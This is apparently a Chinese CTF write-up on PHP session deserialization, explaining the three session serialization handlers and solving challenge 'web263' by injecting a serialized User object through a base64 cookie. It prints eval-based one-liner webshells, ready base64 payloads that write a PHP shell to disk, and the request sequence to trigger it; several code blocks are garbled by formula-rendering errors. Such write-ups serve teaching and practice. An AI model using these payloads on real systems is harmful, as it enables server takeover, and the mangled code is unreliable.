带你走进session
在学习 session 反序列化之前,我们需要了解这几个参数的含义。
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
在使用xampp组件安装中,上述的配置项的设置如下:
session.save_path=“D:\xampp\tmp” 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
这些内容知道就可以了,那么重要的是什么呢?
session.serialize_handler
session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
有三种不同的session序列化处理器处理session
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎
如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
下面我们来实例一下这三种处理方式:
var_dump( $_SESSION);
?>
第一种:在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:27:" <? php @eval($_POST[1]);?>";}
在本地session文件自动生成
第二种也就是PHP默认处理方式
name|s:27:" <? php @eval($_POST[1]);?>";
是不是有什么不一样的,是不是有一个竖线,name为键值,name后的是要解析的字符串
第三种
names:27:" <? php @eval($_POST[1]);?>";
由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:“spoock”;。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
PHP Session序列化危害
PHP中session中使用是没有问题的,但是有什么危害呢
第一种:在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:27:" <? php @eval($_POST[1]);?>";}
在本地session文件自动生成
第二种也就是PHP默认处理方式
name|s:27:" <? php @eval($_POST[1]);?>";
是不是有什么不一样的,是不是有一个竖线,name为键值,name后的是要解析的字符串
比较一下是不是有什么区别,不知道大家有没有嗅到阴谋的味道
如果PHP在反序列存储的$_SESSION数据时的引擎和反序列引擎使用的引擎不一样就会导致数据无法正确反序列化。通过构造数据包,发包进行解析,就可以达到自己想要的想法。
比如模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)
$_SESSION='|O:1:"A":1:{s:1:"a";s:2:"ls";}'
输出结果
xxls
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:2:{s:4:“ryat”;s:30:" 作为SESSION的key,将 O:1:“A”:1:{s:1:“a”;s:2:“xx”;} 作为value,然后进行反序列化,最后就会得到A这个类。
怎么讲其实我也有点疑惑,但是我知道明白了Session利用的原理
也就是利用反序列化引擎,进行构造数据包,利用反序列化引擎解析特点构造漏洞,使后端解析时对数据包可以解析到自己想要注入的内容
还是做题看一下吧!!
https://www.php.cn/php-weizijiaocheng-384022.html
https://blog.csdn.net/weixin_44304686/article/details/91539645
web263
![image.png](https://img-blog.csdnimg.cn/img_convert/48e73a72157cd5eb2b7f1707ca4db511.png#clientId=u52bfe26b-20ef-4&from=paste&height=197&id=u4f22ded4&margin=[object Object]&name=image.png&originHeight=393&originWidth=1888&originalType=binary&ratio=1&size=37462&status=done&style=none&taskId=u0a277161-a027-4b53-96ac-c13b10de3bd&width=944)
啥也没有,没有就对了,sql注入?想啥呢,弟弟,反序列化
扫描一下发现源码泄露
打开后发现了三个php文件,进行分析
在inc.php中
ini_set(‘session.serialize_handler’, ‘php’);,
看到这里自然想到session反序列化,这里把session的session.serialize_handler设置为php,那么可能默认的php.ini里面的不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,就可以进行构造攻击
然后需要判断sessions是否可控,在Index中发现
S
E
S
S
I
O
N
[
′
l
i
m
i
t
′
]
=
b
a
s
e
6
4
d
e
c
o
d
e
(
_SESSION['limit']=base64_decode(
SESSION[′limit′]=base64decode(_COOKIE[‘limit’]);
if(isset($_SESSION[‘limit’])){
S
E
S
S
I
O
N
[
′
l
i
m
t
i
′
]
>
5
?
d
i
e
(
"
登
陆
失
败
次
数
超
过
限
制
"
)
:
_SESSION['limti']>5?die("登陆失败次数超过限制"):
SESSION[′limti′]>5?die("登陆失败次数超过限制"):_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);
C
O
O
K
I
E
[
′
l
i
m
i
t
′
]
=
b
a
s
e
6
4
e
n
c
o
d
e
(
b
a
s
e
6
4
d
e
c
o
d
e
(
_COOKIE['limit'] = base64_encode(base64_decode(
COOKIE[′limit′]=base64encode(base64decode(_COOKIE[‘limit’]) +1);
}else{
setcookie(“limit”,base64_encode(‘1’));
$_SESSION[‘limit’]= 1;
当我们访问index.php就会生成session,然后进行登录验证,当limit<5即:
S
E
S
S
I
O
N
[
′
l
i
m
i
t
′
]
=
b
a
s
e
6
4
d
e
c
o
d
e
(
_SESSION['limit']=base64_decode(
SESSION[′limit′]=base64decode(_COOKIE[‘limit’])是可控的。既然可控现在需要找到一个写入点
然后在inc.php找到session_start
,发现一个User类中包含file_put_contents函数可以写入
class User{
** public $username;**
** public $password;**
** public KaTeX parse error: Expected group after '_' at position 26: …** function _̲_construct(username,$password){//构造函数,主要是为参数赋值**
** $this->username = $username;**
** $this->password = KaTeX parse error: Expected 'EOF', got '}' at position 19: …sword;** ** }̲** ** functi…s){**
**
t
h
i
s
−
>
s
t
a
t
u
s
=
this->status=
this−>status=s;**
** }**
** function __destruct(){//析构函数,销毁一个类之前执行的一些操作或完成一些功能**
** file_put_contents(“log-”.
t
h
i
s
−
>
u
s
e
r
n
a
m
e
,
"
使
用
"
.
this->username, "使用".
this−>username,"使用".this->password.“登陆”.($this->status?“成功”:“失败”)."----".date_create()->format(‘Y-m-d H:i:s’));**
** }//将字符串写入文件中**
既然文件还有参数内容都是可控的那么就可以构造一句话木马,反序列化了
payload:
echo base64_encode(’|’.serialize($a)); //因为对会对值base64解码,所以需要加密
?>
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJiLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==
接下来访问index.php开启session会话,修改cookie[limit]为exp生成的字符串,再访问check.php写入文件,最后访问log-a.php
还有这种说法cookie就设置为上述脚本跑出来的值,并访问index.php,这样session文件中就写入了我们需要的内容,这个内容在访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了–destruct()方法,进而达成了写shell的目的。
真tm坑死了,poc一直出bug,没想到的是上传的木马还有文件,文件名必须要和一句话木马的密匙一样。。。无语了,一开始登陆失败,真操蛋,啊啊啊啊啊终于好啦,我必须要写仔细点,避免踩坑
playload:
echo base64_encode(’|’.serialize($a));
?>
//base64加密是后台会对字符串进行base64解密
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==
先打开index.php
修改limit值,然后重新刷新一下页面,写入成功
访问,check.php文件
check.php?u=123&pass=123
进入log-1.php文件
证明上传成功了,然后一句话木马连接就可以了